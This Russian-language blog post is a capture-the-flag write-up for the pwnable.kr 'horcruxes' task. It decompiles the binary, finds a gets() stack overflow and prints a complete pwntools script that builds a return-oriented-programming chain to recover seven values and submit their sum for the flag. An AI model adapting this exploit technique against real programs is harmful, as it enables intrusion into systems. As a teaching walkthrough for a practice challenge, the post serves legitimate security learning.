![image](https://habrastorage.org/webt/al/py/ef/alpyefagnx81cc2xc1ncjqs8lus.png)
В данной статье решим 21-е задание с сайта pwnable.kr, направленное на составление ROP-цепочки.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Решение задания horcruxes
Не вижу смысла описывать что такое возвратно-ориентированное программирование, так как в этой статье все очень подробно описано.
Нажимаем на иконку с подписью horcruxes, и нам говорят, что нужно подключиться по SSH с паролем guest.
![image](https://habrastorage.org/webt/mh/pd/4j/mhpd4jox-f4wvpatfi2xgsuoaca.png)
При подключении видим соответствующий баннер.
![image](https://habrastorage.org/webt/6l/3l/xu/6l3lxurklvo5pfpzx1gw7vofm3s.png)
Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.
![image](https://habrastorage.org/webt/zu/ky/z0/zukyz0p9mxyttzwel5ibvyazmiw.png)
Есть файл readme, посмотрим, какое послание нам оставили.
![image](https://habrastorage.org/webt/za/gx/qn/zagxqn6315ncctwkgo8etkpc7fq.png)
Сообщают, что программа работает на порте 9032. Нам не дают исходный код, поэтому загрузим программу себе.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/
![image](https://habrastorage.org/webt/nu/v1/kk/nuv1kkmeb4zypzckpkplkgryoey.png)
Запустим в IDA и декомпилируем ее. Есть три интересные функции: hint, init_ABCDEFG и ropme.
![image](https://habrastorage.org/webt/7-/kr/hr/7-krhrz1ns3ghbw87qu535ijqfk.png)
Судя по названию, функция hint должна содержать подсказку. Посмотрим ее.
![image](https://habrastorage.org/webt/th/lo/cb/thlocbrajl5gzmxcqkgzj51rbs4.png)
Сказано, что нужно пройти 7 уровней. Что ж, давайте глянем на ropme.
![image](https://habrastorage.org/webt/9c/ek/da/9cekdabsksea4zo84lb5tawk5q0.png)
Уже интересней. Программа считывает число и если оно равно определенному эталонному значению, то вызывается функция, которая выводит это значение. И так 7 значений.
![image](https://habrastorage.org/webt/ph/db/jd/phdbjds8kh7kdy4l3pegc4avsae.png)
Если совпадений небыло, то нас просят ввести строку, которая сравнится с переменной sum. Так, давайте глянем на init_ABCDEFG.
![image](https://habrastorage.org/webt/0d/ar/by/0darbylrkjuir4yna0q0ear-ly0.png)
Здесь происходит инициализация эталонных значений, которве генерируются рандомно. А sum является суммой этих чисел.
С программой разобрались. В подсказке к заданию сказано про ROP. Идея следующая, нам нужно вызвать все 7 функций, чтобы знать эталонные значения, а потом еще раз вызвать ropme, чтобы передать сумму этих значений.
Благодаря функции gets мы можем перезапись адрес возврата цепочкой адресов. Вычислим количество байт до адреса возврата.
![image](https://habrastorage.org/webt/37/5v/re/375vre0iofee4hvffre_5scdgea.png)
Таким образом нам нужно передать программе нужно передать 0x78 байт заглушки, а потом подряд 8 адресов функций. В IDA найдем адреса наших функций.
![image](https://habrastorage.org/webt/yf/fk/a1/yffka1d65tlc6qyrcpcbmzg1aak.png)
А теперь напишем эксплоит.
rom pwn import *
payload = "A" * 0x78
payload += p32(0x0809fe4b)
payload += p32(0x0809fe6a)
payload += p32(0x0809fe89)
payload += p32(0x0809fea8)
payload += p32(0x0809fec7)
payload += p32(0x0809fee6)
payload += p32(0x0809ff05)
payload += p32(0x0809fffc)
con = remote("pwnable.kr", 9032)
con.recv()
con.recv()
con.send("123" + "\n")
con.recv()
con.send(payload + "\n")
con.recv()
ans = con.recv().split('\n')
sum_result = 0
for i in range(1,8):
sum_result += int(ans[i].split('+')[1].split(')')[0])
con.send("123" + "\n")
con.send(str(sum_result) + "\n")
![image](https://habrastorage.org/webt/cs/cr/bu/cscrbu76bbtmgblnivnyjr0xfuo.png)
Получаем искомый флаг и завершаем первую часть заданий на pwnable.kr.
![image](https://habrastorage.org/webt/w_/6v/ii/w_6viixzlpveuqyjd7yz4lvyhhe.png)
Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с переполнением кучи.